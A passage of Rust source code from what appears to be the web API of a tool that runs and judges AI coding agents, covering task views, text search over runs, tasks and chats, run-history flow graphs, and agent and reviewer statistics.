3329
3330impl From<Task> for TaskView {
3331 fn from(task: Task) -> Self {
3332 Self {
3333 source_label: task.source.label(),
3334 source_link: source_link(&task.source),
3335 status_str: task.status.as_str(),
3336 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3337 waits_on: Vec::new(),
3338 stuck_roots: Vec::new(),
3339 task,
3340 }
3341 }
3342}
3343
3344impl TaskView {
3345 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3346 let waits_on = inv.waits_on(&task);
3347 let stuck_roots = inv
3348 .stuck_roots(&task)
3349 .iter()
3350 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3351 .collect();
3352 Self {
3353 waits_on,
3354 stuck_roots,
3355 ..Self::from(task)
3356 }
3357 }
3358}
3359
3360#[derive(Debug, Default, Deserialize)]
3363#[serde(default)]
3364struct ReposQuery {
3365 refresh: u8,
3366}
3367
3368async fn repos_list(
3375 State(ui): State<Arc<Ui>>,
3376 Query(q): Query<ReposQuery>,
3377) -> ApiResult<Json<Vec<repos::Repo>>> {
3378 let refresh = q.refresh != 0;
3379 blocking(move || {
3380 let (cfg, _) = Config::discover(&ui.repo, None)?;
3381 Ok(Json(ui.repos_cache.list(
3382 &cfg.repos.roots,
3383 Duration::from_secs(cfg.repos.scan_ttl),
3384 refresh,
3385 )))
3386 })
3387 .await
3388}
3389
3390async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3394 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3395}
3396
3397#[derive(Debug, Deserialize)]
3399#[serde(deny_unknown_fields)]
3400struct RolesBody {
3401 revision: String,
3403 roles: std::collections::BTreeMap<String, Vec<String>>,
3405}
3406
3407async fn settings_put_roles(
3413 State(ui): State<Arc<Ui>>,
3414 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3415) -> ApiResult<Json<settings::SettingsView>> {
3416 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3417 blocking(move || {
3418 settings::save(
3419 &ui.repo,
3420 ui.machine_config.as_deref(),
3421 &body.revision,
3422 &body.roles,
3423 )
3424 .map(Json)
3425 .map_err(|e| match e {
3426 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3427 settings::SaveError::Refused(m) => ApiError {
3428 status: StatusCode::UNPROCESSABLE_ENTITY,
3429 message: m,
3430 },
3431 settings::SaveError::Internal(m) => ApiError::internal(m),
3432 })
3433 })
3434 .await
3435}
3436
3437async fn queue_list(
3438 State(ui): State<Arc<Ui>>,
3439 Query(q): Query<ListQuery>,
3440) -> ApiResult<Json<Vec<TaskView>>> {
3441 blocking(move || {
3442 let tasks = ui.queue.list();
3443 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3444 Ok(Json(
3445 tasks
3446 .into_iter()
3447 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3448 .map(|t| TaskView::with_inventory(t, &inv))
3449 .collect(),
3450 ))
3451 })
3452 .await
3453}
3454
3455const SEARCH_MAX_HITS: usize = 100;
3457const SEARCH_MAX_QUERY: usize = 200;
3459const SEARCH_MAX_TERMS: usize = 8;
3460const SNIPPET_BEFORE: usize = 50;
3462const SNIPPET_AFTER: usize = 110;
3463
3464#[derive(Debug, Deserialize)]
3466struct SearchQuery {
3467 #[serde(default)]
3468 scope: String,
3469 #[serde(default)]
3470 q: String,
3471}
3472
3473#[derive(Debug, Serialize, PartialEq, Eq)]
3476struct SnippetPart {
3477 text: String,
3478 hit: bool,
3479}
3480
3481#[derive(Debug, Serialize)]
3482struct SearchHit {
3483 id: String,
3484 field: String,
3486 snippet: Vec<SnippetPart>,
3487 #[serde(skip_serializing_if = "Option::is_none")]
3491 run: Option<RunSummary>,
3492}
3493
3494#[derive(Debug, Serialize)]
3495struct SearchView {
3496 scope: String,
3497 q: String,
3498 hits: Vec<SearchHit>,
3500 total: usize,
3502 truncated: bool,
3503 unreadable: usize,
3506}
3507
3508fn text_leaves<'a>(
3511 value: &'a serde_json::Value,
3512 field: &'a str,
3513 out: &mut Vec<(&'a str, &'a str)>,
3514) {
3515 match value {
3516 serde_json::Value::String(s) => out.push((field, s)),
3517 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3518 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3519 _ => {}
3520 }
3521}
3522
3523fn fold_char(c: char) -> char {
3526 c.to_lowercase().next().unwrap_or(c)
3527}
3528
3529fn search_terms(q: &str) -> Vec<String> {
3531 let mut terms: Vec<String> = Vec::new();
3532 for t in q.split_whitespace() {
3533 let t = t.to_lowercase();
3534 if !terms.contains(&t) {
3535 terms.push(t);
3536 }
3537 }
3538 terms
3539}
3540
3541fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3544 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3545 let mut first: Option<usize> = None;
3546 for term in terms {
3547 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3548 first = Some(first.map_or(at, |f| f.min(at)));
3549 }
3550 let (field, text) = leaves[first?];
3552 Some(SearchHit {
3553 id: String::new(),
3554 field: field.to_owned(),
3555 snippet: snippet_of(text, terms),
3556 run: None,
3557 })
3558}
3559
3560fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3563 let chars: Vec<char> = text.chars().collect();
3564 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3565 let needles: Vec<Vec<char>> = terms
3566 .iter()
3567 .map(|t| t.chars().map(fold_char).collect())
3568 .collect();
3569 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3570 let mut best: Option<(usize, usize)> = None;
3571 for n in needles.iter().filter(|n| !n.is_empty()) {
3572 if n.len() > chars.len() || to == 0 {
3576 continue;
3577 }
3578 let last = (to - 1).min(chars.len() - n.len());
3579 if from > last {
3580 continue;
3581 }
3582 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3583 && best.is_none_or(|(b, _)| i < b)
3584 {
3585 best = Some((i, i + n.len()));
3586 }
3587 }
3588 best
3589 };
3590 let Some((start, _)) = find(0, chars.len()) else {
3591 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3593 return vec![SnippetPart {
3594 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3595 hit: false,
3596 }];
3597 };
3598 let lo = start.saturating_sub(SNIPPET_BEFORE);
3599 let hi = (start + SNIPPET_AFTER).min(chars.len());
3600 let mut parts: Vec<SnippetPart> = Vec::new();
3601 let mut push = |s: &[char], hit: bool| {
3602 if s.is_empty() {
3603 return;
3604 }
3605 let text: String = s.iter().collect();
3606 match parts.last_mut() {
3607 Some(p) if p.hit == hit => p.text.push_str(&text),
3608 _ => parts.push(SnippetPart { text, hit }),
3609 }
3610 };
3611 if lo > 0 {
3612 push(&['\u{2026}'], false);
3613 }
3614 let mut at = lo;
3615 while at < hi {
3616 match find(at, hi) {
3617 Some((s, e)) => {
3618 push(&chars[at..s], false);
3619 let shown = e.min(hi);
3621 push(&chars[s..shown], true);
3622 at = shown;
3623 }
3624 None => {
3625 push(&chars[at..hi], false);
3626 at = hi;
3627 }
3628 }
3629 }
3630 if hi < chars.len() {
3631 push(&['\u{2026}'], false);
3632 }
3633 let mut prev_space = false;
3636 for p in &mut parts {
3637 let mut out = String::with_capacity(p.text.len());
3638 for c in p.text.chars() {
3639 if c.is_whitespace() {
3640 if !prev_space {
3641 out.push(' ');
3642 }
3643 prev_space = true;
3644 } else {
3645 out.push(c);
3646 prev_space = false;
3647 }
3648 }
3649 p.text = out;
3650 }
3651 parts.retain(|p| !p.text.is_empty());
3652 parts
3653}
3654
3655fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3657where
3658 I: IntoIterator<Item = (String, serde_json::Value)>,
3659{
3660 for (id, doc) in docs {
3661 let mut leaves = Vec::new();
3662 leaves.push(("id", id.as_str()));
3665 text_leaves(&doc, "", &mut leaves);
3666 if let Some(mut hit) = search_document(terms, &leaves) {
3667 view.total += 1;
3668 if view.hits.len() < SEARCH_MAX_HITS {
3669 hit.id = id;
3670 view.hits.push(hit);
3671 }
3672 }
3673 }
3674 view.truncated = view.total > view.hits.len();
3675}
3676
3677fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3684 let opener = talk
3685 .turns
3686 .iter()
3687 .find(|t| t.who == crate::talk::Who::Operator)
3688 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3689 .unwrap_or("");
3690 let title: String = if opener.chars().count() > 96 {
3691 opener.chars().take(95).chain(['\u{2026}']).collect()
3692 } else {
3693 opener.to_owned()
3694 };
3695 let turns: Vec<serde_json::Value> = talk
3696 .turns
3697 .iter()
3698 .map(|t| {
3699 let who = match t.who {
3700 crate::talk::Who::Operator => "operator",
3701 crate::talk::Who::Agent => "agent",
3702 };
3703 serde_json::json!({ who: t.body })
3704 })
3705 .collect();
3706 serde_json::json!({ "title": title, "turns": turns })
3707}
3708
3709async fn search_get(
3716 State(ui): State<Arc<Ui>>,
3717 Query(q): Query<SearchQuery>,
3718) -> ApiResult<Json<SearchView>> {
3719 let query = q.q.trim().to_owned();
3720 if query.is_empty() {
3721 return Err(ApiError::bad_request("q must not be empty"));
3722 }
3723 if query.chars().count() > SEARCH_MAX_QUERY {
3724 return Err(ApiError::bad_request(format!(
3725 "q is longer than {SEARCH_MAX_QUERY} characters"
3726 )));
3727 }
3728 let terms = search_terms(&query);
3729 if terms.len() > SEARCH_MAX_TERMS {
3730 return Err(ApiError::bad_request(format!(
3731 "q has more than {SEARCH_MAX_TERMS} terms"
3732 )));
3733 }
3734 let scope = q.scope;
3735 if scope != "runs" && scope != "tasks" && scope != "chats" {
3736 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3737 }
3738 blocking(move || {
3739 let mut view = SearchView {
3740 scope: scope.clone(),
3741 q: query,
3742 hits: Vec::new(),
3743 total: 0,
3744 truncated: false,
3745 unreadable: 0,
3746 };
3747 if scope == "runs" {
3748 let mut unreadable = 0;
3749 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3753 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3754 match body.and_then(|b| serde_json::from_str(&b).ok()) {
3755 Some(v) => Some((id, v)),
3756 None => {
3757 unreadable += 1;
3758 None
3759 }
3760 }
3761 });
3762 search_docs(&terms, docs, &mut view);
3763 view.unreadable = unreadable;
3764 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3767 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3768 for hit in &mut view.hits {
3769 if let Ok(state) = read_run(&ui.runs, &hit.id) {
3770 hit.run = summarize(
3771 [state],
3772 &open_runs,
3773 &claimed,
3774 &superseded,
3775 |p| probe.borrow_mut().status(p),
3776 |p| probe.borrow_mut().started_at(p),
3777 )
3778 .pop();
3779 }
3780 }
3781 } else if scope == "chats" {
3782 let (talks, unreadable) = ui.talks.list_counting_unreadable();
3783 view.unreadable = unreadable;
3784 search_docs(
3785 &terms,
3786 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3787 &mut view,
3788 );
3789 } else {
3790 let docs = ui.queue.list().into_iter().filter_map(|t| {
3791 let mut v = serde_json::to_value(&t).ok()?;
3792 if let Some(o) = v.as_object_mut() {
3795 o.insert("filed_by".to_owned(), t.source.label().into());
3796 }
3797 Some((t.id, v))
3798 });
3799 search_docs(&terms, docs, &mut view);
3800 }
3801 Ok(Json(view))
3802 })
3803 .await
3804}
3805
3806#[derive(Debug, Serialize)]
3808struct TaskRunView {
3809 n: usize,
3811 id: String,
3812 short: String,
3813 kind: &'static str,
3815 status: Option<&'static str>,
3817 readable: bool,
3819 provisional: bool,
3821 description: String,
3823 outcome: String,
3825 created_at: Option<Timestamp>,
3826 pr: Option<String>,
3827 exit: RunExit,
3829 attempt: AttemptCost,
3831 branch: Option<String>,
3833}
3834
3835#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3837#[serde(rename_all = "snake_case")]
3838enum RunExit {
3839 Unreadable,
3840 Interrupted,
3842 Parked,
3843 QuotaStall,
3844 ResumedQuotaStall,
3848 Merged,
3849 Ready,
3850 Superseded,
3851 AlreadyInBase,
3854 Stalled,
3856 HeldWithPr,
3858 NoopHeld,
3859 Spent,
3861 InProgress,
3862}
3863
3864#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3865#[serde(rename_all = "snake_case")]
3866enum AttemptCost {
3867 Spent,
3868 Refunded,
3869 None,
3870 Unknown,
3872}
3873
3874impl RunExit {
3875 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3876 let Some(s) = s else {
3877 return Self::Unreadable;
3878 };
3879 let status = s.status;
3880 if resumed_later {
3881 Self::Interrupted
3882 } else if s.parked {
3883 Self::Parked
3884 } else if !status.done() {
3885 Self::InProgress
3886 } else if matches!(status, RunStatus::Merged) {
3887 Self::Merged
3888 } else if matches!(status, RunStatus::Ready) {
3889 Self::Ready
3890 } else if matches!(status, RunStatus::Superseded) {
3891 Self::Superseded
3892 } else if matches!(status, RunStatus::AlreadyInBase) {
3893 Self::AlreadyInBase
3894 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3895 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3896 {
3897 if resumed {
3898 Self::ResumedQuotaStall
3899 } else {
3900 Self::QuotaStall
3901 }
3902 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3903 Self::HeldWithPr
3904 } else if matches!(status, RunStatus::VerifiedNoop) {
3905 Self::NoopHeld
3906 } else if matches!(status, RunStatus::Stalled) {
3907 Self::Stalled
3908 } else {
3909 Self::Spent
3910 }
3911 }
3912
3913 fn cost(self) -> AttemptCost {
3914 match self {
3915 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3916 Self::Merged
3917 | Self::Ready
3918 | Self::Stalled
3919 | Self::HeldWithPr
3920 | Self::NoopHeld
3921 | Self::Spent => AttemptCost::Spent,
3922 Self::InProgress => AttemptCost::None,
3923 Self::AlreadyInBase => AttemptCost::Refunded,
3924 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3925 AttemptCost::Unknown
3926 }
3927 }
3928 }
3929
3930 fn edge_label(self, status: Option<&str>) -> String {
3932 match self {
3933 Self::Unreadable => "record unreadable".to_owned(),
3934 Self::Interrupted => "interrupted before the run finished".to_owned(),
3935 Self::Parked => "parked, attempt refunded".to_owned(),
3936 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3937 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3938 Self::Merged => "merged".to_owned(),
3939 Self::Ready => "ready, not merged".to_owned(),
3940 Self::Superseded => "superseded by a later attempt".to_owned(),
3941 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3942 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3943 Self::HeldWithPr => "blocked, PR left open".to_owned(),
3944 Self::NoopHeld => "verified no-op".to_owned(),
3945 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3946 Self::InProgress => "in progress".to_owned(),
3947 }
3948 }
3949
3950 fn explains(self, end: TaskStatus) -> bool {
3953 match self {
3954 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3955 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3956 Self::Unreadable | Self::Superseded | Self::Ready => true,
3957 _ => end != TaskStatus::Done,
3958 }
3959 }
3960}
3961
3962#[derive(Debug, Serialize)]
3964struct TaskDetailView {
3965 #[serde(flatten)]
3966 task: TaskView,
3967 max_attempts: usize,
3970 history: Vec<TaskRunView>,
3971 flow: FlowView,
3972 runs_unreadable: usize,
3974 attempts_note: &'static str,
3976}
3977
3978const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3979and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3980on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3981in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3982
3983fn review_branch_of(instruction: &str) -> Option<&str> {
3986 let rest = instruction.strip_prefix("Review the work already on branch `")?;
3987 rest.split('`').next().filter(|b| !b.is_empty())
3988}
3989
3990struct RunSlot<'a> {
3992 n: usize,
3994 resumed: bool,
3996 resumed_later: Option<usize>,
3998 prior: Option<(&'a str, RunStatus)>,
4000 last: bool,
4001}
4002
4003fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4006 let RunSlot {
4007 n,
4008 resumed,
4009 resumed_later,
4010 prior,
4011 last,
4012 } = at;
4013 let short = run::short_of(id).to_owned();
4014 let Some(s) = state else {
4015 return TaskRunView {
4016 n,
4017 id: id.to_owned(),
4018 short,
4019 kind: "unknown",
4020 status: None,
4021 readable: false,
4022 provisional: false,
4023 description:
4024 "This run's record could not be read by this build (written by a different \
4025 magi, or removed), so what kind of attempt it was is unknown."
4026 .to_owned(),
4027 outcome: String::new(),
4028 created_at: None,
4029 pr: None,
4030 exit: RunExit::Unreadable,
4031 attempt: AttemptCost::Unknown,
4032 branch: None,
4033 };
4034 };
4035 let branch = review_branch_of(&s.instruction);
4036 let kind = if resumed {
4037 "resume"
4038 } else if branch.is_some() {
4039 "review"
4040 } else if task.solo || s.candidates.len() == 1 {
4041 "solo"
4042 } else {
4043 "competition"
4044 };
4045 let mut description = match kind {
4046 "resume" => {
4047 format!("Resumed run {short}: the same run carried on instead of competing again.")
4048 }
4049 "review" => format!(
4050 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4051 branch.unwrap_or_default()
4052 ),
4053 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4054 _ => format!(
4055 "Competition: {} candidates judged blind.",
4056 s.candidates.len().max(1)
4057 ),
4058 };
4059 if !resumed && let Some((p, st)) = prior {
4060 description.push_str(&format!(
4061 " A retry: run {p} before it ended {}.",
4062 st.display_label()
4063 ));
4064 }
4065
4066 let status = s.status;
4067 let provisional = matches!(status, RunStatus::Stalled)
4068 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4069 let head = if resumed_later.is_some() {
4070 String::new()
4071 } else {
4072 match status {
4073 RunStatus::Merged => "Merged.".to_owned(),
4074 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4075 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4076 RunStatus::AlreadyInBase => {
4077 "Already in the base: this change landed under other commits, nothing was left to land."
4078 .to_owned()
4079 }
4080 RunStatus::Stalled => {
4081 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4082 .to_owned()
4083 }
4084 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4085 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4086 RunStatus::VerifiedNoop => {
4087 "Verified no-op: the candidates found nothing to change.".to_owned()
4088 }
4089 other if other.done() => format!("Ended {}.", other.display_label()),
4090 other => format!("In progress ({}).", other.display_label()),
4091 }
4092 };
4093 let why = if let Some(k) = resumed_later {
4094 let cause = if s.quota.is_empty() {
4101 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4102 } else {
4103 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4104 };
4105 format!(
4106 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4107 )
4108 } else if s.parked {
4109 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4110 .to_owned()
4111 } else if !status.done()
4112 || matches!(
4113 status,
4114 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4115 )
4116 {
4117 String::new()
4118 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4119 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4120 {
4121 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4122 .to_owned()
4123 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4124 " It left a pull request open, so the task was held for a person rather than retried."
4125 .to_owned()
4126 } else if matches!(status, RunStatus::VerifiedNoop) {
4127 " Held for a person to check the claim.".to_owned()
4128 } else if last {
4129 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4130 } else {
4131 " It spent an attempt, and the task moved on to the next run.".to_owned()
4132 };
4133 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4134 TaskRunView {
4135 n,
4136 id: id.to_owned(),
4137 short,
4138 kind,
4139 status: Some(status.as_str()),
4140 readable: true,
4141 provisional,
4142 description,
4143 outcome: format!("{head}{why}"),
4144 created_at: Some(s.created_at),
4145 pr: s.pr.as_ref().map(|p| p.url.clone()),
4146 exit,
4147 attempt: exit.cost(),
4148 branch: branch.map(str::to_owned),
4149 }
4150}
4151
4152#[derive(Debug, Serialize, PartialEq)]
4154struct FlowNode {
4155 key: String,
4157 kind: &'static str,
4159 label: String,
4160 status: Option<&'static str>,
4163 note: Option<&'static str>,
4165 run_kind: Option<&'static str>,
4166 detail: Option<String>,
4167 decided: bool,
4169 readable: bool,
4170 href: Option<String>,
4171}
4172
4173#[derive(Debug, Serialize, PartialEq)]
4174struct FlowEdge {
4175 from: String,
4176 to: String,
4177 label: String,
4178 attempt: AttemptCost,
4179}
4180
4181#[derive(Debug, Serialize, PartialEq)]
4182struct FlowView {
4183 nodes: Vec<FlowNode>,
4184 edges: Vec<FlowEdge>,
4185 attempts: usize,
4187 max_attempts: usize,
4188}
4189
4190fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4193 let node = |key: &str, kind, label: String| FlowNode {
4194 key: key.to_owned(),
4195 kind,
4196 label,
4197 status: None,
4198 note: None,
4199 run_kind: None,
4200 detail: None,
4201 decided: false,
4202 readable: true,
4203 href: None,
4204 };
4205 let mut nodes = Vec::new();
4206 let mut edges: Vec<FlowEdge> = Vec::new();
4207 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4209 let mut n = node(
4210 "chat",
4211 "chat",
4212 format!("Chat {}", crate::queue::short(&link.id)),
4213 );
4214 n.href = Some(link.href);
4215 nodes.push(n);
4216 edges.push(FlowEdge {
4217 from: "chat".to_owned(),
4218 to: "start".to_owned(),
4219 label: "queued from chat".to_owned(),
4220 attempt: AttemptCost::None,
4221 });
4222 }
4223 nodes.push(node("start", "start", "Task queued".to_owned()));
4224 let mut prev = "start".to_owned();
4225 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4226 for (i, h) in history.iter().enumerate() {
4227 let key = format!("run-{}", h.n);
4228 let mut n = node(&key, "run", format!("Run {}", h.short));
4229 n.run_kind = Some(h.kind);
4230 n.readable = h.readable;
4231 n.href = Some(format!("#/runs/{}", h.id));
4232 n.decided = h.readable && !h.provisional;
4233 n.detail = h
4234 .branch
4235 .as_ref()
4236 .map(|b| format!("review-only run of branch {b}"));
4237 match h.exit {
4238 RunExit::Unreadable => n.note = Some("unreadable"),
4239 RunExit::Interrupted => n.note = Some("interrupted"),
4240 _ => {
4241 n.status = h.status;
4242 if h.provisional {
4243 n.note = Some("no verdict");
4244 }
4245 }
4246 }
4247 let into = match h.kind {
4248 "review" => Some(format!(
4249 "review-only run of branch {}",
4250 h.branch.as_deref().unwrap_or("?")
4251 )),
4252 "resume" => Some("resume the same run".to_owned()),
4253 _ if i > 0 => Some("retry".to_owned()),
4254 _ => None,
4255 };
4256 let label = match (prev_exit, into) {
4257 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4258 (Some((e, st)), None) => e.edge_label(st),
4259 (None, Some(i)) => i,
4260 (None, None) => "claimed".to_owned(),
4261 };
4262 edges.push(FlowEdge {
4263 from: prev.clone(),
4264 to: key.clone(),
4265 label,
4266 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4267 });
4268 prev_exit = Some((h.exit, h.status));
4269 prev = key;
4270 nodes.push(n);
4271 }
4272 let mut end = node("end", "end", task.status.as_str().to_owned());
4273 end.status = Some(task.status.as_str());
4274 nodes.push(end);
4275 let (label, attempt) = match prev_exit {
4276 None => (
4277 format!("no run yet \u{2192} {}", task.status.as_str()),
4278 AttemptCost::None,
4279 ),
4280 Some((e, st)) if e.explains(task.status) => (
4281 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4282 e.cost(),
4283 ),
4284 Some((e, _)) => (
4285 format!("closed by hand: task is {}", task.status.as_str()),
4286 e.cost(),
4287 ),
4288 };
4289 edges.push(FlowEdge {
4290 from: prev,
4291 to: "end".to_owned(),
4292 label,
4293 attempt,
4294 });
4295 FlowView {
4296 nodes,
4297 edges,
4298 attempts: task.attempts,
4299 max_attempts,
4300 }
4301}
4302
4303fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4306 let mut history = Vec::with_capacity(task.runs.len());
4307 let mut seen: Vec<&str> = Vec::new();
4308 let mut prior: Option<(&str, RunStatus)> = None;
4309 for (i, run_id) in task.runs.iter().enumerate() {
4310 let state = read(run_id);
4311 let resumed = seen.contains(&run_id.as_str());
4312 seen.push(run_id);
4313 history.push(task_run_view(
4314 run_id,
4315 state.as_ref(),
4316 RunSlot {
4317 n: i + 1,
4318 resumed,
4319 resumed_later: task.runs[i + 1..]
4320 .iter()
4321 .position(|r| r == run_id)
4322 .map(|off| i + off + 2),
4323 prior,
4324 last: i + 1 == task.runs.len(),
4325 },
4326 task,
4327 ));
4328 if let Some(s) = &state {
4329 prior = Some((run::short_of(run_id), s.status));
4330 }
4331 }
4332 history
4333}
4334
4335async fn task_detail(
4336 State(ui): State<Arc<Ui>>,
4337 Path(id): Path<String>,
4338) -> ApiResult<Json<TaskDetailView>> {
4339 blocking(move || {
4340 let id = resolve_task(&ui.queue, &id)?;
4341 let task = ui
4342 .queue
4343 .get(&id)
4344 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4345 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4346 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4347 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4348 let max_attempts = daemon::Opts::default().max_attempts;
4349 let flow = task_flow(&task, &history, max_attempts);
4350 Ok(Json(TaskDetailView {
4351 max_attempts,
4352 flow,
4353 history,
4354 runs_unreadable,
4355 attempts_note: ATTEMPTS_NOTE,
4356 task: TaskView::with_inventory(task, &inv),
4357 }))
4358 })
4359 .await
4360}
4361
4362#[derive(Debug, Serialize)]
4366struct RateView {
4367 pct: f64,
4368 denominator: usize,
4369}
4370
4371impl RateView {
4372 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4373 (denominator > 0).then(|| Self {
4374 pct: 100.0 * numerator as f64 / denominator as f64,
4375 denominator,
4376 })
4377 }
4378}
4379
4380#[derive(Debug, Serialize)]
4385struct StatsTotalsView {
4386 runs: usize,
4387 merged: usize,
4388 ready: usize,
4389 blocked: usize,
4390 failed: usize,
4391 stalled: usize,
4392 verified_noop: usize,
4393 superseded: usize,
4394 in_progress: usize,
4395 completion_rate: Option<RateView>,
4396 tallied: usize,
4397 split: usize,
4398 split_rate: Option<RateView>,
4399 deliberated: usize,
4400 minds_changed: usize,
4401 converged: usize,
4402 review_rounds: usize,
4403}
4404
4405impl From<&stats::Totals> for StatsTotalsView {
4406 fn from(t: &stats::Totals) -> Self {
4407 Self {
4408 runs: t.runs,
4409 merged: t.merged,
4410 ready: t.ready,
4411 blocked: t.blocked,
4412 failed: t.failed,
4413 stalled: t.stalled,
4414 verified_noop: t.verified_noop,
4415 superseded: t.superseded,
4416 in_progress: t.in_progress,
4417 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4418 tallied: t.tallied,
4419 split: t.split,
4420 split_rate: RateView::of(t.split, t.tallied),
4421 deliberated: t.deliberated,
4422 minds_changed: t.minds_changed,
4423 converged: t.converged,
4424 review_rounds: t.review_rounds,
4425 }
4426 }
4427}
4428
4429#[derive(Debug, Serialize)]
4431struct AgentStatsView {
4432 agent: String,
4433 entered: usize,
4434 wins: usize,
4435 empty: usize,
4436 win_rate: Option<RateView>,
4437}
4438
4439impl From<&stats::AgentStats> for AgentStatsView {
4440 fn from(a: &stats::AgentStats) -> Self {
4441 Self {
4442 agent: a.agent.clone(),
4443 entered: a.entered,
4444 wins: a.wins,
4445 empty: a.empty,
4446 win_rate: RateView::of(a.wins, a.entered),
4447 }
4448 }
4449}
4450
4451#[derive(Debug, Serialize)]
4455struct ReviewerStatsView {
4456 agent: String,
4457 rounds: usize,
4458 seated: usize,
4459 submitted: usize,
4460 adopted: usize,
4461 unique: usize,
4462 timeouts: usize,
4463 adopted_per_round: Option<f64>,
4464 precision: Option<RateView>,
4465 unique_rate: Option<RateView>,
4466 timeout_rate: Option<RateView>,
4467}
4468
4469impl From<&stats::ReviewerStats> for ReviewerStatsView {
4470 fn from(r: &stats::ReviewerStats) -> Self {
4471 Self {
4472 agent: r.agent.clone(),
4473 rounds: r.rounds,
4474 seated: r.seated,
4475 submitted: r.submitted,
4476 adopted: r.adopted,
4477 unique: r.unique,
4478 timeouts: r.timeouts,
4479 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4480 precision: RateView::of(r.adopted, r.submitted),
4481 unique_rate: RateView::of(r.unique, r.submitted),
4482 timeout_rate: RateView::of(r.timeouts, r.seated),
4483 }
4484 }
4485}
4486
